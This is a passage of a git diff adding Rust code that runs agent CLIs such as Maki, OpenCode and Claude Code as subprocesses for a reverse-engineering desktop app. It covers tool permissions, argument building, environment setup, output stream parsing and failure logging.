b/desktop/crates/ai/src/cli_agents/adapters/maki.rs new file mode 100644 index 0000000..6207d5a --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/adapters/maki.rs @@ -0,0 +1,88 @@ +//! Maki (`maki -p`). +//! +//! `-p/--print` is a switch: the prompt is Maki's positional argument, so it goes last. Plain +//! `maki ` opens its terminal interface instead of answering. +//! +//! Maki lets its file tools write anywhere under its working folder without asking, and in `-p` +//! nothing can ask. So outside a build its tools that change something are switched off with +//! `--disallowed-tools` (names it doesn't know are skipped, so an older Maki still runs). +//! Anything else that would ask first (an MCP server's tools, in subagents too) is refused at once +//! in `-p`, since nobody can answer, unless the person allowed it in Maki's own permissions. +//! +//! Nothing here asks us, so a Clean room build's reads aren't checked: the same gap as every agent +//! that never asks us, left to the approval decision in the roadmap (R2.2). + +use super::*; + +pub struct Maki; + +/// Maki's tools that change files or run something: writing tools, the shell, and code execution +/// (its `open()` writes through the write tool, but it can also remove and rename). +const CHANGES: &str = "write,edit,multiedit,edit_lines,insert_lines,bash,code_execution"; + +impl AgentAdapter for Maki { + fn ids(&self) -> &'static [&'static str] { + &["maki"] + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut v = Vec::new(); + if let Some(m) = &cx.options.cli_model { + v.extend(["-m".into(), m.clone()]); + } + if !cx.builder { + v.extend(["--disallowed-tools".into(), CHANGES.into()]); + } + v.extend(cx.options.args.iter().cloned()); + v.extend(["-p".into(), format!("{}{}", cx.preamble, cx.prompt)]); + v + } + + fn required_flags(&self) -> (&'static [&'static str], &'static [&'static str]) { + (&["--help"], &["--print"]) + } + + /// Plain `maki ` opens the terminal interface; a failed flag check keeps this adapter. + fn plain_fallback(&self) -> bool { + false + } + + fn streams_json(&self) -> bool { + false + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn args(builder: bool, options: &BackendOptions) -> Vec { + let mcp = McpCommand { command: "craft-anything-cli".into(), args: vec!["mcp".into()], notes: None }; + Maki.args(&ArgsCx { options, prompt: "make a game", preamble: "PRE ", mcp: &mcp, resume: None, builder, reads_checked: false, question: false }) + } + + #[test] + fn the_prompt_goes_last_after_print_and_the_flags() { + assert_eq!(args(true, &BackendOptions::default()), ["-p", "PRE make a game"]); + let options = + BackendOptions { cli_model: Some("anthropic/claude-sonnet-4-6".into()), args: vec!["--max-turns".into(), "40".into()], ..Default::default() }; + assert_eq!(args(true, &options), ["-m", "anthropic/claude-sonnet-4-6", "--max-turns", "40", "-p", "PRE make a game"]); + } + + #[test] + fn outside_a_build_maki_can_only_read() { + let a = args(false, &BackendOptions::default()); + assert_eq!(a, ["--disallowed-tools", CHANGES, "-p", "PRE make a game"]); + for tool in ["write", "edit", "multiedit", "edit_lines", "bash", "code_execution"] { + assert!(CHANGES.split(',').any(|t| t == tool), "{tool} is switched off"); + } + assert!(!args(true, &BackendOptions::default()).contains(&"--disallowed-tools".to_string()), "a builder keeps its tools"); + } + + #[test] + fn maki_is_registered_and_never_run_plain() { + assert!(AgentAdapters::built_in().for_agent("maki").ids().contains(&"maki"), "registered, not the plain adapter"); + assert_eq!(Maki.required_flags(), (&["--help"][..], &["--print"][..])); + assert!(!Maki.plain_fallback() && !Maki.streams_json()); + } +} diff --git a/desktop/crates/ai/src/cli_agents/adapters/opencode.rs b/desktop/crates/ai/src/cli_agents/adapters/opencode.rs new file mode 100644 index 0000000..f5d33ef --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/adapters/opencode.rs @@ -0,0 +1,50 @@ +//! OpenCode (`opencode run`). Without `run` its first argument names the folder to open, so a +//! prompt given on its own was read as a folder and every run stopped at once (#32). + +use super::*; + +pub struct OpenCode; + +impl AgentAdapter for OpenCode { + fn ids(&self) -> &'static [&'static str] { + &["opencode"] + } + + fn args(&self, cx: &ArgsCx) -> Vec { + let mut a = vec!["run".to_string()]; + // A builder works unattended: what OpenCode would stop to ask is allowed, unless its own + // settings deny it (as Codex gets a workspace-write sandbox). + if cx.builder { + a.push("--auto".into()); + } + if let Some(m) = &cx.options.cli_model { + a.extend(["--model".into(), m.clone()]); + } + a.extend(cx.options.args.iter().cloned()); + a.push(format!("{}{}", cx.preamble, cx.prompt)); + a + } + + fn streams_json(&self) -> bool { + false + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn args(builder: bool, options: &BackendOptions) -> Vec { + let mcp = McpCommand { command: "craft-anything-cli".into(), args: vec!["mcp".into()], notes: None }; + OpenCode.args(&ArgsCx { options, prompt: "make a game", preamble: "PRE ", mcp: &mcp, resume: None, builder, reads_checked: false, question: false }) + } + + #[test] + fn the_prompt_goes_to_run_after_the_flags() { + assert_eq!(args(false, &BackendOptions::default()), ["run", "PRE make a game"]); + let options = + BackendOptions { cli_model: Some("anthropic/claude-sonnet-4-5".into()), args: vec!["--agent".into(), "build".into()], ..Default::default() }; + assert_eq!(args(true, &options), ["run", "--auto", "--model", "anthropic/claude-sonnet-4-5", "--agent", "build", "PRE make a game"]); + assert!(AgentAdapters::built_in().for_agent("opencode").ids().contains(&"opencode"), "registered, not the plain adapter"); + } +} diff --git a/desktop/crates/ai/src/cli_agents/mod.rs b/desktop/crates/ai/src/cli_agents/mod.rs new file mode 100644 index 0000000..152f085 --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/mod.rs @@ -0,0 +1,1250 @@ +//! Agent CLIs (Claude Code, Codex, Gemini CLI, OpenCode, Hermes…) run as owned subprocesses with +//! our MCP server, optionally on another machine over ssh. Their JSON event streams become +//! [`AgentEvent`]s. +//! +//! How each CLI is driven lives in [`adapters`] ([`AgentAdapter`], registered in +//! [`AgentAdapters`]). Flags: Claude Code's were checked against `claude --help`. For the others, +//! the flags we rely on are checked at run time against ` --help`; when they're missing we +//! fall back to the plain adapter (prompt as an argument, stdout streamed as text) and say so, +//! unless the CLI's plain form is interactive (Codex), which keeps its adapter. + +pub mod acp; +pub mod adapters; + +pub use acp::AcpConversation; +pub use adapters::{AgentAdapter, AgentAdapters, ArgsCx}; + +use crate::config::BackendOptions; +use crate::model::Stop; +use crate::{AgentEvent, BackendConfig, Conversation}; +use craft_anything_engine::CancelToken; +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::process::Process; +use craft_anything_platform::sync::Mutex; +use serde_json::{Value, json}; +use std::collections::HashMap; +use std::ffi::OsStr; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +/// Name our MCP server is registered under. +pub const MCP_NAME: &str = "craft-anything"; + +/// Known agent CLIs: (agent id, program, display name). +pub const KNOWN: &[(&str, &str, &str)] = &[ + ("claude-code", "claude", "Claude Code"), + ("codex", "codex", "Codex"), + ("gemini-cli", "gemini", "Gemini CLI"), + ("antigravity", "agy", "Antigravity"), + ("opencode", "opencode", "OpenCode"), + ("hermes", "hermes", "Hermes Agent"), + ("qwen-code", "qwen", "Qwen Code"), + ("goose", "goose", "Goose"), + ("maki", "maki", "Maki"), + ("aider", "aider", "Aider"), +]; + +pub fn program_for(agent: &str) -> String { + KNOWN.iter().find(|(id, _, _)| *id == agent).map(|(_, p, _)| p.to_string()).unwrap_or_else(|| agent.to_string()) +} + +pub fn display_for(agent: &str) -> String { + KNOWN.iter().find(|(id, _, _)| *id == agent).map(|(_, _, d)| d.to_string()).unwrap_or_else(|| agent.to_string()) +} + +/// The built-in adapter for an agent id (the plain one for agents without their own). +pub fn adapter_for(agent: &str) -> Arc { + AgentAdapters::built_in().for_agent(agent) +} + +/// The MCP server command handed to the CLI. +#[derive(Debug, Clone, PartialEq)] +pub struct McpCommand { + pub command: String, + pub args: Vec, + /// Where the person's notes wait for a builder on this computer (`rebuild::notes`), so an + /// agent with tool hooks can hand them over at its next step. None for remote runs. + pub notes: Option, +} + +impl McpCommand { + /// Our installed CLI (`craft-anything-cli mcp [--project ] [--inbox ]`). Remote runs + /// use the name on the remote PATH and have no local project or inbox. + pub fn local_or_remote(remote: bool, project: Option, inbox: Option) -> McpCommand { + let command = if remote { + "craft-anything-cli".to_string() + } else { + craft_anything_platform::self_cli_path().map(|p| p.display().to_string()).unwrap_or_else(|| "craft-anything-cli".to_string()) + }; + let mut args = vec!["mcp".to_string()]; + if let Some(p) = project.filter(|_| !remote) { + args.push("--project".into()); + args.push(p.display().to_string()); + } + let notes = inbox.as_deref().filter(|_| !remote).map(crate::rebuild::notes::notes_dir); + if let Some(i) = inbox.filter(|_| !remote) { + args.push("--inbox".into()); + args.push(i.display().to_string()); + } + McpCommand { command, args, notes } + } +} + +/// Whether the `craft-anything-cli` a builder's tool server runs from (None: there isn't one) can +/// start. Without it Claude Code stops at its first approval with a stack trace (#91). A check +/// that ran out of time says nothing about the program, so the build goes ahead. Stopping the +/// build ends the check, as `ErrorCode::Cancelled`. +pub fn cli_can_start(cli: Option<&Path>, stop: &CancelToken) -> Result<(), ToolError> { + const REINSTALL: &str = "Install the latest REI Reverse Engineer again: it keeps this helper next to the app. If you built the app yourself, run `cargo build -p craft-anything-cli` too."; + let Some(cli) = cli else { + return Err(ToolError::new( + ErrorCode::EngineMissing, + "REI Reverse Engineer's helper program (craft-anything-cli) is missing, so the builder can't start.", + ) + .with_remediation(REINSTALL)); + }; + let failed = |why: String| { + ToolError::new(ErrorCode::EngineMissing, format!("REI Reverse Engineer's helper program at {} wouldn't start: {why}", cli.display())) + .with_remediation(REINSTALL) + }; + let stop = stop.clone(); + match Process::new(cli.as_os_str()).arg("--version").timeout(Duration::from_secs(30)).stdout_cap(64 * 1024).cancel_when(move || stop.is_cancelled()).run() { + Ok(out) if out.success => Ok(()), + Ok(out) => Err(failed(out.code.map_or_else(|| "it was stopped by the system".to_string(), |c| format!("it exited with code {c}")))), + Err(e) if e.code == ErrorCode::TimedOut => Ok(()), + Err(e) if e.code == ErrorCode::Cancelled => Err(e), + Err(e) => Err(failed(e.message)), + } +} + +/// Whether a local build by `agent` can have our tool server: over ACP every agent is handed it, +/// else its adapter says. +pub fn check_builder_tools(adapter: &dyn AgentAdapter, agent: &str, options: &BackendOptions, stop: &CancelToken) -> Result<(), ToolError> { + if options.acp == Some(true) && acp::acp_args(agent).is_some() { + return cli_can_start(craft_anything_platform::self_cli_path().as_deref(), stop); + } + adapter.check_tool_server(stop) +} + +fn toml_string(s: &str) -> String { + serde_json::to_string(s).unwrap_or_else(|_| "\"\"".into()) +} + +/// The permission-prompt tool a builder run routes its approvals through. +pub const APPROVAL_TOOL: &str = craft_anything_engine::tools::interaction_tools::APPROVE_TOOL; + +/// What an agent run may do with files. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Access { + /// Only analyse: no edits. + Analyse, + /// Build: read freely, edit through our approval tool (which asks the person when needed). + Build, + /// Build in Clean room: every read and edit goes through our approval tool, which keeps the + /// original out of reach. + CleanRoomBuild, + /// A question about a build: read the project's files, change nothing, keep no session. + Question, + /// The same in Clean room: no file tools at all (the answer comes from what it knows and + /// what the question says), so the original stays out of reach. + CleanRoomQuestion, +} + +/// argv (after the program) for one prompt. +pub fn build_args( + adapter: &dyn AgentAdapter, + opts: &BackendOptions, + prompt: &str, + preamble: &str, + mcp: &McpCommand, + resume: Option<&str>, + access: Access, +) -> Vec { + // A leading dash would be read as a flag. + let prompt = if prompt.starts_with('-') { format!(" {prompt}") } else { prompt.to_string() }; + let builder = matches!(access, Access::Build | Access::CleanRoomBuild); + let question = matches!(access, Access::Question | Access::CleanRoomQuestion); + let reads_checked = matches!(access, Access::CleanRoomBuild | Access::CleanRoomQuestion); + adapter.args(&ArgsCx { options: opts, prompt: &prompt, preamble, mcp, resume, builder, reads_checked, question }) +} + +/// True when `program`'s help mentions every required flag (10 s limit, stdin closed). +pub fn verify_flags(program: &str, help_args: &[&str], needed: &[&str]) -> bool { + if needed.is_empty() { + return true; + } + match Process::new(program).args(help_args).timeout(Duration::from_secs(10)).stdout_cap(256 * 1024).run() { + Ok(out) => { + let text = format!("{}{}", out.stdout_text(), out.stderr_text()); + needed.iter().all(|f| text.contains(f)) + } + Err(_) => false, + } +} + +/// The fix for a sign-in failure, in plain words. Sign-in always happens in Claude Code itself; +/// we never see or handle the account. +pub fn sign_in_hint(message: &str) -> Option { + let m = message.to_ascii_lowercase(); + ["authenticat", "oauth", "log in", "login", "not logged", "api key", "unauthorized"] + .iter() + .any(|w| m.contains(w)) + .then(|| "Sign in to Claude Code: open a terminal and run `claude auth login` (or start `claude` and type /login), then try again.".to_string()) +} + +/// Words in an API's answer when the installed Claude Code is older than the model it was asked +/// to use (#165). +pub const TOO_OLD_FOR_MODEL: &str = "does not support this model"; + +/// Claude Code's failure in plain words, and its fix when the person can make one: a version too +/// old for the model (#165), or a sign-in. +pub fn claude_code_failure(why: &str) -> (String, Option) { + if why.to_ascii_lowercase().contains(TOO_OLD_FOR_MODEL) { + return ( + format!("Claude Code is too old for the model it was asked to use ({}).", why.chars().take(200).collect::()), + Some( + "Update the `claude` command-line tool, which is installed and updated apart from the Claude desktop app: open a terminal and run `claude update`, then try again. Or choose another model for Claude Code in Settings → AI." + .into(), + ), + ); + } + (format!("Claude Code stopped: {why}"), sign_in_hint(why)) +} + +/// Variables a Claude Code session sets for its own child processes. When REI Reverse Engineer itself +/// runs inside such a session, they'd make the person's `claude` act as part of that session +/// instead of as their own install, so they're removed. The person's own settings (provider +/// choice `CLAUDE_CODE_USE_*`, `CLAUDE_CONFIG_DIR`, `ANTHROPIC_*`) are kept. +pub fn host_session_vars(vars: impl Iterator) -> Vec { + let all: Vec = vars.collect(); + if !all.iter().any(|k| k == "CLAUDECODE") { + return Vec::new(); + } + all.into_iter() + .filter(|k| { + matches!(k.as_str(), "CLAUDECODE" | "CLAUDE_PID" | "CLAUDE_EFFORT") + || k.starts_with("CLAUDE_AGENT_SDK_") + || k.starts_with("CLAUDE_PREVIEW_") + || (k.starts_with("CLAUDE_CODE_") && !k.starts_with("CLAUDE_CODE_USE_")) + }) + .collect() +} + +/// `program` as the person's own standalone Claude Code (see [`host_session_vars`]). +fn standalone(program: &str) -> Process { + host_session_vars(std::env::vars().map(|(k, _)| k)).into_iter().fold(Process::new(program), |p, k| p.env_remove(k)) +} + +/// Parses one CLI's output stream: the adapter reads each line, this keeps what it learned. +pub struct StreamParser { + adapter: Arc, + pub session_id: Option, + pub tool_names: HashMap, + pub input_tokens: u64, + pub output_tokens: u64, + pub cost_usd: Option, + pub saw_result: bool, +} + +fn short_tool(name: &str) -> String { + name.strip_prefix(&format!("mcp__{MCP_NAME}__")).or_else(|| name.strip_prefix(&format!("{MCP_NAME}__"))).unwrap_or(name).to_string() +} + +fn find_evidence_id(text: &str) -> Option { + let mut rest = text; + while let Some(pos) = rest.find("ev_") { + let cand = rest.get(pos..pos + 67).unwrap_or_default(); + if craft_anything_evidence::is_evidence_id(cand) { + return Some(cand.to_string()); + } + rest = rest.get(pos + 3..).unwrap_or_default(); + } + None +} + +fn content_text(v: &Value) -> String { + match v { + Value::String(s) => s.clone(), + Value::Array(a) => a.iter().filter_map(|b| b.get("text").and_then(Value::as_str)).collect::>().join(""), + Value::Null => String::new(), + other => other.to_string(), + } +} + +fn summary_of(s: &str) -> String { + s.chars().take(200).collect() +} + +impl StreamParser { + pub fn new(adapter: Arc) -> Self { + StreamParser { adapter, session_id: None, tool_names: HashMap::new(), input_tokens: 0, output_tokens: 0, cost_usd: None, saw_result: false } + } + + /// Events for one output line. + pub fn line(&mut self, line: &str) -> Vec { + if !self.adapter.streams_json() { + return vec![AgentEvent::TextDelta { text: format!("{line}\n") }]; + } + let Ok(v) = serde_json::from_str::(line.trim()) else { + // Non-JSON lines (warnings, banners) are shown as status, not answer text. + let t = line.trim(); + return if t.is_empty() { Vec::new() } else { vec![AgentEvent::Status { text: summary_of(t) }] }; + }; + let adapter = self.adapter.clone(); + adapter.parse(self, &v) + } + + /// A tool call began (adapters call this from `parse`). + pub fn started(&mut self, id: &str, name: &str, input: Value) -> AgentEvent { + let tool = short_tool(name); + self.tool_names.insert(id.to_string(), tool.clone()); + AgentEvent::ToolStarted { call_id: id.to_string(), tool, input } + } + + /// A tool call ended. + pub fn finished(&mut self, id: &str, ok: bool, text: &str) -> AgentEvent { + let tool = self.tool_names.get(id).cloned().unwrap_or_default(); + AgentEvent::ToolFinished { call_id: id.to_string(), tool, ok, summary: summary_of(text), evidence_id: find_evidence_id(text) } + } +} + +/// Everything needed to run one CLI backend. +#[derive(Debug, Clone)] +pub struct CliSpec { + pub config: BackendConfig, + pub options: BackendOptions, + pub beginner: bool, + /// The working folder (and, without `builder`, the investigation handed to our MCP server). + pub project: Option, + /// Build mode: the agent may edit files in the working folder. + pub builder: Option, + /// A saved agent session to continue. + pub resume: Option, + /// Deep mode: our MCP server runs in it, and a builder sees every tool and may read files + /// anywhere. In Clean room a builder sees only Clean room's tools, and every file it reads + /// goes through the approval policy. + pub deep: bool, + /// Replaces the default analysis preamble. + pub preamble: Option, + /// How each agent CLI is driven. + pub adapters: AgentAdapters, + /// A question about a build: read-only, and a resumed session is forked and not kept, so the + /// builder's own session is never changed. Only adapters that + /// [answer questions](adapters::AgentAdapter::answers_questions) take it. + pub question: bool, + /// Where a failed run writes what's known about it ([`crate::failure_log`]). None writes no log. + pub logs: Option, +} + +/// What a building run needs besides the working folder. +#[derive(Debug, Clone)] +pub struct Builder { + /// The investigation project our MCP server keeps evidence in. + pub investigation: Option, + /// Where questions and approvals for the person go. + pub inbox: PathBuf, +} + +/// Our MCP server for `spec`, in the run's mode whatever the saved settings say; a builder's lists +/// every tool in Deep mode. +fn mcp_for(spec: &CliSpec, remote: bool) -> McpCommand { + let mut mcp = match &spec.builder { + Some(b) => McpCommand::local_or_remote(remote, b.investigation.clone(), Some(b.inbox.clone())), + None => McpCommand::local_or_remote(remote, spec.project.clone(), None), + }; + mcp.args.push(if spec.deep { "--deep" } else { "--clean-room" }.into()); + if spec.deep && spec.builder.is_some() { + mcp.args.push("--all-tools".into()); + } + mcp +} + +impl CliSpec { + pub fn new(config: BackendConfig, options: BackendOptions, beginner: bool, project: Option) -> Self { + CliSpec { + config, + options, + beginner, + project, + builder: None, + resume: None, + deep: false, + preamble: None, + logs: None, + adapters: AgentAdapters::built_in(), + question: false, + } + } +} + +/// The conversation for a chat with an agent CLI: over ACP when the backend asks for it and the +/// agent speaks it (a local, non-building run), else one CLI run per message. +pub fn conversation(spec: CliSpec) -> Box { + match acp_for(&spec).filter(|_| spec.builder.is_none()) { + Some(c) => Box::new(c), + None => Box::new(CliConversation::new(spec)), + } +} + +/// The conversation for a builder run: over ACP (permission requests decided by `approver`, the +/// approval policy) when the backend asks for it and the agent speaks it, else one CLI run per +/// message (approvals through our approval tool). +pub fn builder_conversation(spec: CliSpec, approver: acp::Approver) -> Box { + match acp_for(&spec) { + Some(c) => Box::new(c.with_approver(approver)), + None => Box::new(CliConversation::new(spec)), + } +} + +/// An ACP conversation for `spec`, when its backend asks for ACP (`acp = true`), runs locally +/// and its agent speaks ACP. +fn acp_for(spec: &CliSpec) -> Option { + let agent = spec.config.model.clone(); + let local = spec.config.ssh_host.as_deref().is_none_or(|h| h.trim().is_empty()); + let acp_args = acp::acp_args(&agent).filter(|_| spec.options.acp == Some(true) && local)?; + let program = spec.options.command.clone().unwrap_or_else(|| program_for(&agent)); + let mut args = spec.options.args.clone(); + args.extend(acp_args.iter().map(|a| a.to_string())); + args.extend(acp::model_args(&agent, spec.options.cli_model.as_deref())); + let cwd = spec.project.clone().or_else(|| std::env::current_dir().ok()).unwrap_or_else(std::env::temp_dir); + let mcp = mcp_for(spec, false); + let preamble = spec.preamble.clone().unwrap_or_else(|| crate::prompt::cli_preamble(spec.beginner)); + Some(AcpConversation::new(&spec.config.name, &agent, program, args, cwd, mcp, spec.resume.clone()).with_preamble(preamble).with_logs(spec.logs.clone())) +} + +/// A conversation backed by an agent CLI. Each message is one CLI run; Claude Code runs resume +/// the previous session. +pub struct CliConversation { + spec: CliSpec, + tx: Sender, + rx: Receiver, + busy: Arc, + stop: Stop, + session: Arc>>, + verified: Arc>>, +} + +impl CliConversation { + pub fn new(spec: CliSpec) -> Self { + let (tx, rx) = std::sync::mpsc::channel(); + let session = Arc::new(Mutex::new(spec.resume.clone())); + CliConversation { spec, tx, rx, busy: Arc::default(), stop: Stop::default(), session, verified: Arc::default() } + } + + /// The agent's session id once a run has reported it (to continue later). + pub fn session_id(&self) -> Option { + self.session.lock().unwrap_or_else(PoisonError::into_inner).clone() + } +} + +/// The environment an agent program runs with: Claude Code's limits raised for a long build, and +/// the effort it thinks with. Other agents ignore these names. +fn agent_env(builder: bool, effort: Option) -> Vec<(&'static str, String)> { + let (tool, shell) = if builder { (24 * 3600, 8 * 3600) } else { (40 * 60, 10 * 60) }; + let ms = |secs: u64| (secs * 1000).to_string(); + vec![ + ("MCP_TOOL_TIMEOUT", ms(tool)), + // Progress updates keep a long tool call alive; this also covers one that sends none. + ("CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUT", "0".into()), + // A builder waits for every tool result (Ghidra above all) instead of carrying on without it. + ("CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS", if builder { "0" } else { "120000" }.into()), + ("BASH_DEFAULT_TIMEOUT_MS", ms(shell / 2)), + ("BASH_MAX_TIMEOUT_MS", ms(shell)), + // High effort for Claude Code unless chosen. An environment variable rather than + // `--effort`: it ranks highest, and an older Claude Code that doesn't know it ignores it. + ("CLAUDE_CODE_EFFORT_LEVEL", crate::prompt::choose_effort(effort).as_str().into()), + ] +} + +/// The command run on another computer over SSH. ssh passes on none of our environment, so it is +/// set there with `env`. +fn remote_command(program: &str, args: Vec, env: &[(&'static str, String)]) -> Vec { + let mut cmd = vec!["env".to_string()]; + cmd.extend(env.iter().map(|(k, v)| format!("{k}={v}"))); + cmd.push(program.to_string()); + cmd.extend(args); + cmd +} + +fn run_cli(spec: &CliSpec, text: &str, tx: &Sender, stop: &Stop, session: &Mutex>, verified: &Mutex>) { + let name = spec.config.name.clone(); + let agent = spec.config.model.clone(); + let program = spec.options.command.clone().unwrap_or_else(|| program_for(&agent)); + let remote = spec.config.ssh_host.clone().filter(|h| !h.trim().is_empty()); + let mut adapter = spec.adapters.for_agent(&agent); + let (help, needed) = adapter.required_flags(); + if !needed.is_empty() { + let ok = match remote { + Some(_) => true, // can't cheaply check a remote CLI; its errors are streamed back + None => { + let mut v = verified.lock().unwrap_or_else(PoisonError::into_inner); + *v.get_or_insert_with(|| verify_flags(&program, help, needed)) + } + }; + if !ok && adapter.plain_fallback() { + let _ = tx.send(AgentEvent::Status { + text: format!("{program}'s help doesn't list {} here, so it runs with the plain adapter (prompt in, text out).", needed.join(" / ")), + }); + adapter = Arc::new(adapters::Plain); + } else if !ok { + let _ = tx.send(AgentEvent::Status { text: format!("Couldn't confirm that {program} has {}; trying it anyway.", needed.join(" / ")) }); + } + } + let preamble = spec.preamble.clone().unwrap_or_else(|| crate::prompt::cli_preamble(spec.beginner)); + let mcp = mcp_for(spec, remote.is_some()); + let resume = session.lock().unwrap_or_else(PoisonError::into_inner).clone(); + let builder = spec.builder.is_some(); + // A question goes only to an agent that can be held to reading (a fallback adapter can't). + if spec.question && !adapter.answers_questions() { + let _ = tx.send(AgentEvent::Error { + message: format!("{name} can't be kept to only reading here, so it isn't asked questions about a build."), + remediation: Some("Ask with Claude Code, or with an AI that has an API key.".into()), + log: None, + }); + return; + } + let access = match (&spec.builder, spec.deep, spec.question) { + (_, true, true) => Access::Question, + (_, false, true) => Access::CleanRoomQuestion, + (Some(_), true, false) => Access::Build, + (Some(_), false, false) => Access::CleanRoomBuild, + (None, _, false) => Access::Analyse, + }; + let args = build_args(adapter.as_ref(), &spec.options, text, &preamble, &mcp, if adapter.resumes() { resume.as_deref() } else { None }, access); + let shown = FailureContext::new(&program, &args, text, remote.as_deref(), spec); + // A builder turn may take hours and sit silent for long stretches: Ghidra's first look at a big + // game, an engine build, or the person answering a question. Claude Code's own limits are + // raised to match, so nothing cuts a long clone short (its defaults stop a quiet tool call at + // 30 minutes and a background build at 10). + let (turn, quiet) = if builder { (24 * 3600, 8 * 3600) } else { (30 * 60, 15 * 60) }; + let env = agent_env(builder, spec.options.effort); + let (prog, argv) = match &remote { + Some(host) => ("ssh".to_string(), crate::ssh::ssh_args(host, &remote_command(&program, args, &env))), + None => (program.clone(), args), + }; + let _ = + tx.send(AgentEvent::Status { text: format!("Asking {}{}…", display_for(&agent), remote.as_ref().map(|h| format!(" on {h}")).unwrap_or_default()) }); + let parser = Arc::new(Mutex::new(StreamParser::new(adapter.clone()))); + let (p2, tx2, tx_err) = (parser.clone(), tx.clone(), tx.clone()); + let stop2 = stop.clone(); + let mut proc = (if remote.is_none() { adapter.process(&prog) } else { Process::new(&prog) }) + .args(&argv) + .timeout(Duration::from_secs(spec.options.timeout_secs.unwrap_or(turn))) + .idle_timeout(Duration::from_secs(quiet)); + for (k, v) in &env { + proc = proc.env(k, v.as_str()); + } + let mut proc = proc + .stdout_cap(4 * 1024 * 1024) + .cancel_when(move || stop2.is_stopped()) + .on_stdout_line(move |l| { + for e in p2.lock().unwrap_or_else(PoisonError::into_inner).line(l) { + let _ = tx2.send(e); + } + }) + .on_stderr_line(move |l| { + if !l.trim().is_empty() { + let _ = tx_err.send(AgentEvent::Output { text: l.to_string() }); + } + }) + .remediation(format!("Install {}, or choose its program in Settings → AI.", display_for(&agent))); + if let Some(p) = spec.project.as_ref().filter(|_| remote.is_none()) { + proc = proc.cwd(p); + } + if adapter.prompt_on_stdin() { + proc = proc.stdin_bytes(text); + } + let result = proc.run(); + let p = parser.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(id) = &p.session_id { + *session.lock().unwrap_or_else(PoisonError::into_inner) = Some(id.clone()); + } + match result { + Ok(out) if !out.success && !p.saw_result => { + let _ = tx.send(shown.exit_event(&agent, &out)); + } + Ok(out) if !out.success => { + // The agent already said what went wrong; keep the rest for anyone looking into it. + if let Some(path) = shown.save(&agent, Some(&out), None).0 { + let _ = tx.send(AgentEvent::Status { text: format!("The details are in {}", path.display()) }); + } + } + Ok(_) => {} + Err(e) if e.code == craft_anything_evidence::ErrorCode::Cancelled => { + let _ = tx.send(AgentEvent::Status { text: "Stopped.".into() }); + } + Err(e) => { + let _ = tx.send(shown.error_event(&agent, e)); + } + } + let _ = tx.send(AgentEvent::TurnDone { + backend: name, + input_tokens: p.input_tokens, + output_tokens: p.output_tokens, + cost_usd: p.cost_usd, + cost_is_estimate: true, + }); +} + +/// What's needed to explain a failed CLI run: the command with the person's message left out, and +/// where to write the log. +struct FailureContext { + command: String, + check: String, + program: String, + host: Option, + backend: String, + cwd: Option, + logs: Option, +} + +impl FailureContext { + fn new(program: &str, args: &[String], message: &str, host: Option<&str>, spec: &CliSpec) -> Self { + use craft_anything_platform::process::printable_command; + let message = message.trim(); + let args: Vec = args + .iter() + .map(|a| if !message.is_empty() && a.contains(message) { format!("[your message, {} characters]", message.chars().count()) } else { a.clone() }) + .collect(); + let local = printable_command(OsStr::new(program), &args); + let (command, check) = match host { + Some(h) => { + let options = crate::ssh::SSH_OPTIONS.join(" "); + (format!("ssh {options} -T {} -- {local}", crate::ssh::shell_quote(h)), crate::ssh::check_command(h, program)) + } + None => (local, format!("{} --version", crate::ssh::shell_quote(program))), + }; + FailureContext { + command, + check, + program: program.to_string(), + host: host.map(str::to_string), + backend: spec.config.name.clone(), + cwd: spec.project.clone().filter(|_| host.is_none()), + logs: spec.logs.clone(), + } + } + + /// Why this run failed, when it was ssh (or the remote computer) that says so. + fn ssh_failure(&self, out: &craft_anything_platform::Output) -> Option { + let host = self.host.as_deref()?; + crate::ssh::diagnose(host, &self.program, crate::ssh::is_git_server(host), out.code, &out.stderr_text()) + } + + /// Write the log. Returns its path, or what to tell the person when it couldn't be written. + fn save(&self, agent: &str, out: Option<&craft_anything_platform::Output>, diagnosis: Option<&str>) -> (Option, Option) { + self.save_with(agent, out, diagnosis, None) + } + + fn save_with( + &self, + agent: &str, + out: Option<&craft_anything_platform::Output>, + diagnosis: Option<&str>, + error: Option<&str>, + ) -> (Option, Option) { + let Some(dir) = &self.logs else { return (None, None) }; + let report = crate::failure_log::Report { + what: format!("{} ({})", display_for(agent), self.backend), + command: self.command.clone(), + check: self.check.clone(), + diagnosis: diagnosis.map(str::to_string), + error: error.map(str::to_string), + cwd: self.cwd.clone(), + exit_code: out.and_then(|o| o.code), + duration: out.map(|o| o.duration), + stdout: out.map(|o| o.stdout.clone()).unwrap_or_default(), + stderr: out.map(|o| o.stderr.clone()).unwrap_or_default(), + }; + match crate::failure_log::write(dir, &report) { + Ok(path) => { + log::warn!("{} failed; details in {}", display_for(agent), path.display()); + (Some(path), None) + } + Err(e) => { + log::warn!("couldn't write a failure log: {e}"); + (None, Some(format!("The details couldn't be saved: {e}"))) + } + } + } + + fn exit_event(&self, agent: &str, out: &craft_anything_platform::Output) -> AgentEvent { + let name = display_for(agent); + let plain = craft_anything_platform::process::nonzero_error_with(&name, out, Some(&self.command)); + let excerpt = craft_anything_platform::process::output_excerpt(&String::from_utf8_lossy(if out.stderr.is_empty() { &out.stdout } else { &out.stderr })); + let (message, mut remediation) = match self.ssh_failure(out) { + Some(f) => { + let host = self.host.as_deref().unwrap_or_default(); + let said = if excerpt.is_empty() { String::new() } else { format!("\n\nssh printed:\n{excerpt}") }; + (format!("Couldn't run {name} on {host}: {}.", f.what), format!("{}{said}\n\nTo test it yourself, run:\n{}", f.fix, self.check)) + } + None => (plain.message, plain.remediation.unwrap_or_default()), + }; + let (log, unsaved) = self.save(agent, Some(out), Some(&message)); + if let Some(u) = unsaved { + remediation.push_str(&format!("\n\n{u}")); + } + AgentEvent::Error { message, remediation: 